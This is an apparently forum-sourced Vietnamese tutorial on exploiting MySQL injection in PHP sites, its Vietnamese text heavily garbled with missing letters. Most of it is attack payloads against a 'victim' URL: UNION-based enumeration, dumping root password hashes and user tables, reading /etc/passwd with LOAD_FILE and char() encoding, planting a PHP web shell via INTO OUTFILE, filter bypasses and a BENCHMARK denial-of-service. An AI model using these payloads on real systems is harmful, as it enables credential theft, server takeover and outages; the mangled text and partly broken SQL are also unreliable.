L i MySQL là m t l i r t là thông d ng và nguy hi m.Khác v i các l i khác MySQL
b l i là cho ng i vi t mã gây ra hay b sai sót ườ ế
L i MySQL đem l i nh ng l i ích nh th nào? ư ế
Nó cho phép ng i s d ng có th khai thác d dàng vào các database.Nói rõ h n nóườ ơ
cho ta th y đ c nh ng thông s có liên quan đ n victim ch a l i.MySQL Inj có th ượ ế
phá h y t p tin hay cho phép các t p tin khác mà attacker chèn vào
Bây gi chúng ta nhìn vào 1 s ví d v code php
[COLOR="red"]...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?> [/COLOR]
Chúng ta c n l u ý v ph ng th c l y đo n ma GET .Anh em hãy đ ý k v đo n ư ươ
mã php trên.Chúng ta có th thay đ i yêu c u truy v n d a vào GET.N u nó không ế
l c ph n [ 'id'] mà chúng ta truy v n vào d li u c a victim thì có nghĩa là nó b l i
MySQL.
Làm sao mà bi t chính xác là nó b l i.Sau đ y là 1 ví d :ế
http://www.site.ru/index.php?page=1
V i 1 trang nh th ta bi t nó có b dính l i hay ko thi ta c n thêm vào 1 ký t nh ư ế ế ư
d u '
+
http://www.site.ru/index.php?page=1'
Và khi nó b dính MySQL thì website s g i l i cho ta bi t v i 1 thông báo nh sau: ế ư
[COLOR="red"]+MySQL Error: mysql_query (.......) error expretion syntax ...[/COLOR]
Câu nói đây có nghĩa là có 1 truy v n đang b l i v c u trúc toán h c hay th ư
m c.Và 99% đây là l i source.
Ngoài ra ta còn 1 ph ng các n a là ta dùng ph ng th c toán h c đ n gi n nh sau:ươ ươ ơ ư
+
http://www.site.ru/index.php?page=2-1
Và nó tr v 1 thì 99% nó b dính mysql.
Khi ta bi t chính xác nó b l i thì ta s khai thác nh sau.Chúng ta c n g i 1 truy v nế ư
sql đ n victim nh ng chúng ta c n truy v n v i giá trĩ là null.Null đây là r ng khôngế ư
có 1 giá tr xác th c.
Đây là
+
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
http://www.site.ru/index.php?page=99999 union + + + select null, null / *
Chúng ta s s d ng l n l t các câu truy v n thông d ng nh : ượ ư
+union select null, null
union select null, null, null
union select null, null, null, null
L nh union đây chính là lênh k t n i các b ng l i v i nhau.Chúng ta c s d ng cho ế
đ n khi bi t 9 xác có bao nhiêu b ng d li u n m trong databaseế ế
+
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null /
*
Sau khi đã xác đ nh đ c b ng ta xét đ n nó có bao nhi u c t n m trong b ng.V i câu ượ ế
l nh sau s giúp ta xác đ nh:
+? id =- 1 + + by order +100 / *
Dĩ nhiên các c t không th nào quá 100 c t đ c.V i cách th c này ta có th nhanh ượ
chóng bi t đ c bao nhiêu c t.Và có sai thì nó s báo l i.ế ượ
Sau khi đã bi t chính xác đ c có bao nhiêu c t thì ta s thay th các giá tr null mà h iế ượ ế
nãy ta truy v n b ng các con s 9 xác nh 1,2,3,.. ư
+
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *
Sau đó ta s l y 1 s thông tin nh user database...Và ta c n bi t 9 xác nó n m c t ư ế
nào m i truy v n và tìm
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 /*
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 /*
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *
Sau khi có đ c các thông tin thì ta c n làm nh ng b c sau tùy vào ý thích c a m iượ ướ
ng iườ
1-L y pass c a th ng root(Nó là quan tr ng 1 mà)
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6
mysql.user + from + / *
Và nó s cho ra pass là pass hash và chúng ta dùng các ch ng trình crack pass đ l y ươ
mã.Ví d nh ch ng trình password pro.L u ý ph ng th c l y pass b ng câu l nh ư ươ ư ươ
trên ko có nghĩa lúc nào cũng cho ra pass mà còn ph thu c vào th ng mysql.user có
ch p nh n yêu c u c a ta hay ko.
2-Đ c các b ng khác có liên quan đ n th ng root: ế
Chúng ta có th đ c các b ng có liên quan nh :[COLOR="red"]spreadsheet-type users, ư
reg_users, admins, accounts ...[/COLOR]
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + +
from users / *
3-Đ c t p tin ch trên server:
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc /
passwd'), 4,5,6 / *
N u chúng ta xác đ nh 9 xác t p tin ta c n đ c thì ph n LOAD_FILE s giúp ích cho taế
r t nhi u.
4-Up shell và ddos:
Chúng ta c n nh n th y là chúng ta c n nên đ a con shell bên ngoài vào sao cho phù ư
h p 1.Và th m c mà ta c n quan tâm và phù h p 1 chính là [COLOR="red"]"/ home / ư
site / public_html /"[/COLOR]
Code up shell:
+http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '<? php system ($
_GET [cmd]);>' + + + from mysql.user into outfile + + '/ home / site / public_html /
shell.php' / *
Vi c up shell là ph n quan tr ng 1 đ i v i l i MYSQL.Và 1 đi u quan tr ng ko kém là
chúng ta c n đ a thêm bi n hay tham s ,c th là s .Nó s giúp ta th c hi n đ c 1 ư ế ượ
s l nh b gi i h n trong mysql.
[COLOR="Red"]Ví d :union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/
i][/COLOR]Chúng s th l i 3 l n v i c t s 5
Đôi khi chúng ta g p ph i 1 s c ch l c hay mã hóa trong mysql.Chính vì v y đ ơ ế
gi i quy t v n đ lo i b c ch trên ta c n 1 câu l nh ko kém ph n quan tr ng ế ơ ế
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT
(AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *
1 đi u c n l u ý là khi b l c kovychku c a sql đ c b t thì chúng ta có th dùng đ n ư ượ ế
ph n LOAD_FILE
Ví d ta đ a vào LOAD_FILE ph n đ c th m c / etc / passwd thì chúng ta dùng đo n ư ư
code sau:
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char
(47101116,99,47112,97115115119100)), 4,5,6 / *
Đôi khi ta b th ng inektsiya gi i h n vi c s d ng các kho n không gian s d ng.Đ
xác l p l i ta dùng các l nh sau:
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6
mysql.user + from + / *same
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,
Ph n cu i là dos:Ch c câu l nh này m i ng i ai cũng hi u ha: ườ
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK
(10000000 md5 (current_date)))